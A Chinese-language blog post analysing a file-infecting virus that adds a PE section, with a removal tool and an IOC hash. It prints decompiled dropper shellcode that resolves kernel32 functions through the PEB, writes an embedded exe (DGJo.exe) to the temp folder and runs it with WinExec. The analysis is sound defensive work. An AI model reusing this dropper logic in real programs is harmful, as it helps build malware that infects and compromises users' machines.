某感染病毒分析查杀
2021-03-15 03:46:46 Author: wbglil.github.io(查看原文) 阅读量:233 收藏

发表于 | 分类于

没有找到适合的图片

某感染型病毒分析查杀

最近有个朋友不小心中了一个感染型病毒,导致磁盘内部分exe文件被感染,也正好顺手抽时间来分析一下(因为这个病毒没啥意思所以本文不会详细写每一个点纯当流水账记录)

我管他要了两个感染文件当样本

先来看一下PE情况

image.png

很明显有一个不正常的节被添加到exe里了而且入口点也是在这个节里,很常见的感染方式

直接打开IDA加载PE看看

image.png

把汇编稍微整理了然后在整理一下F5差不多看的就比较清晰了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
// write access to const memory has been detected, the output may be wrong!
int start()
{
PIMAGE_DOS_HEADER Kernel32_DllBase; // eax
_IMAGE_EXPORT_DIRECTORY *v1; // ecx
DWORD v2; // edi
DWORD v3; // ebx
DWORD v4; // esi
unsigned int v5; // ecx
char *Export_Ordinals_Table; // esi
char *Export_All_Fun_Table; // edi
char *Export_Name_Table; // ebx
unsigned int index; // edx
int Fun_offset; // esi
char *v11; // edx
int v12; // ecx
int (__stdcall *Fun_Addr)(_DWORD); // esi
int v14; // ecx
int result; // eax
int v16; // esi
_DWORD *v17; // eax
int v18; // ecx
char str_lpBuffer[260]; // [esp+Ch] [ebp-16Ch] BYREF
char v20[32]; // [esp+110h] [ebp-68h] BYREF
char file_name[12]; // [esp+130h] [ebp-48h] BYREF
int v22; // [esp+13Ch] [ebp-3Ch]
unsigned int Export_Fun_Number; // [esp+144h] [ebp-34h]
char *v24; // [esp+148h] [ebp-30h]
char v25[4]; // [esp+14Ch] [ebp-2Ch] BYREF
_PEB *v26; // [esp+150h] [ebp-28h]
int (__stdcall *FLAG)(_DWORD); // [esp+154h] [ebp-24h]
void (__stdcall *GetTempPath)(int, char *); // [esp+158h] [ebp-20h]
unsigned int v29; // [esp+15Ch] [ebp-1Ch]
void (__stdcall *lstrcat)(char *, char *); // [esp+160h] [ebp-18h]
void (__stdcall *WriteFile)(int, _DWORD *, int, char *, _DWORD); // [esp+164h] [ebp-14h]
int (__stdcall *CreateFileA)(char *, unsigned int, _DWORD, _DWORD, int, int, _DWORD); // [esp+168h] [ebp-10h]
int (__stdcall *WinExec)(char *, int); // [esp+16Ch] [ebp-Ch]
void (__stdcall *CloseHandle)(int); // [esp+170h] [ebp-8h]
_DWORD *v35; // [esp+174h] [ebp-4h]

FLAG = 0;
CreateFileA = 0;
WriteFile = 0;
CloseHandle = 0;
WinExec = 0;
GetTempPath = 0;
lstrcat = 0;
strcpy(file_name, "DGJo.exe");
v22 = 0;
v35 = &locret_460269;
v26 = NtCurrentPeb();
locret_460269 = 0xE904C483;//add esp,4
*(&locret_460269 + 1) = 0xFFFAFDFF;//将exe的原始入口点写到shellcode后面 jmp xxxxxxx
Kernel32_DllBase = v26->Ldr->InInitializationOrderModuleList.Flink->Flink[1].Flink;//IDA 结构体识别问题忽略它吧
LABEL_2:
v1 = (Kernel32_DllBase + *(&Kernel32_DllBase[1].e_res2[8] + Kernel32_DllBase->e_lfanew));
v2 = v1->AddressOfFunctions; // 所有导出函数的地址表 RVA
v3 = v1->AddressOfNames; // 导出函数名称表 RVA
v4 = v1->AddressOfNameOrdinals; // 导出函数序号表 RVA
v5 = v1->NumberOfNames; // 以函数名字导出的函数个数
Export_Ordinals_Table = Kernel32_DllBase + v4;
Export_All_Fun_Table = Kernel32_DllBase + v2;
Export_Name_Table = Kernel32_DllBase + v3;
index = 0;
v24 = Export_Ordinals_Table;
v29 = 0;
Export_Fun_Number = v5;
while ( index < Export_Fun_Number )
{
Fun_offset = *&Export_All_Fun_Table[4 * *&Export_Ordinals_Table[2 * index]];
v11 = Kernel32_DllBase + *&Export_Name_Table[4 * index];
v12 = *v11;
Fun_Addr = (Kernel32_DllBase + Fun_offset);
if ( *v11 == 0x4D746547
&& *(v11 + 1) == 0x6C75646F
&& *(v11 + 2) == 0x6E614865
&& *(v11 + 3) == 0x41656C64 // GetModuleHandleA
&& !v11[16] )
{
if ( !FLAG )
{
FLAG = Fun_Addr;
strcpy(v20, "Kernel32.dll");
Kernel32_DllBase = Fun_Addr(v20); // GetModuleHandleA("Kernel32.dll")
goto LABEL_2;
}
}
else if ( v12 == 0x456E6957 && *(v11 + 1) == 0x636578 )
{
WinExec = Fun_Addr; // WinExec
}
else if ( v12 == 0x736F6C43 && *(v11 + 1) == 0x6E614865 && *(v11 + 2) == 0x656C64 )
{
CloseHandle = Fun_Addr; // CloseHandle
}
else if ( v12 == 0x74697257 && *(v11 + 1) == 0x6C694665 && *(v11 + 4) == 101 )
{
WriteFile = Fun_Addr; // WriteFile
}
else
{
v14 = *v11;
if ( *v11 == 0x61657243 && *(v11 + 1) == 0x69466574 && *(v11 + 2) == dword_41656C )
{
CreateFileA = Fun_Addr; // CreateFileA
}
else if ( v14 == 0x54746547 && *(v11 + 1) == 0x50706D65 && *(v11 + 2) == 0x41687461 )// GetTempPath
{
GetTempPath = Fun_Addr;
}
else if ( v14 == 0x7274736C && *(v11 + 1) == 0x41746163 )// lstrcat 函数功能:该函数将字符串lpString2附加在另一个字符串lpString1后面
{
lstrcat = Fun_Addr;
}
}
if ( FLAG && CreateFileA && WriteFile && CloseHandle && WinExec && GetTempPath && lstrcat )
break;
++v29;
Export_Ordinals_Table = v24;
index = v29;
}
GetTempPath(260, str_lpBuffer); // 获取临时路径
lstrcat(str_lpBuffer, file_name); // 拼接字符串
result = CreateFileA(str_lpBuffer, 0xC0000000, 0, 0, 2, 128, 0);// 创建文件
v16 = result;
if ( result != -1 ) // 判断是否创建成功
{
v17 = v35;
v18 = 0;
while ( *v17 != 9460301 )
{
v17 = (v17 + 1);
if ( ++v18 >= 500 )
goto LABEL_47;
}
WriteFile(v16, v17, 15872, v25, 0); // 写入文件
LABEL_47:
CloseHandle(v16); // 关闭文件句柄
result = WinExec(str_lpBuffer, 5); // 执行释放的exe
}
return result;
}

这段shellcode其实也是非常简单

1.将exe原始入口点写到shellcode后面

2.将shellcode后面附加的exe写到临时路径中

3.调用WinExec执行释放的exe

4.跳转执行到exe原始入口点,如下图

image.png

根据以上过程写出此病毒查杀恢复工具也是非常简单,基本思路就是遍历磁盘exe,找特征码,然后读取并恢复原始入口点,最后删除多余节

我比较懒像这种项目随便改个感染型专杀工具就行了,所以我这里就随便找了个看雪上的专杀工具改了改在此感谢这位老哥

https://bbs.pediy.com/thread-146134.htm

效果如下

image.png

点Kill后会恢复被感染的文件

image.png

查看PE文件发现多余节已经被删除入口点也已经恢复

image.png

源码地址:https://github.com/WBGlIl/wbg_tools/blob/master/KillWorm.7z

根据释放文件的hash找到的关联信息

image.png

IOC

4354970CCC7CD6BB16318F132C34F6A1B3D5C2EA7FF53E1C9271905527F2DB07

至于释放的文件等有时间我想起来可能会再去分析一下(主要是意义不大不想分析懒)


文章来源: http://wbglil.github.io/2021/03/15/%E6%9F%90%E6%84%9F%E6%9F%93%E7%97%85%E6%AF%92%E5%88%86%E6%9E%90%E6%9F%A5%E6%9D%80/
如有侵权请联系:admin#unsafe.sh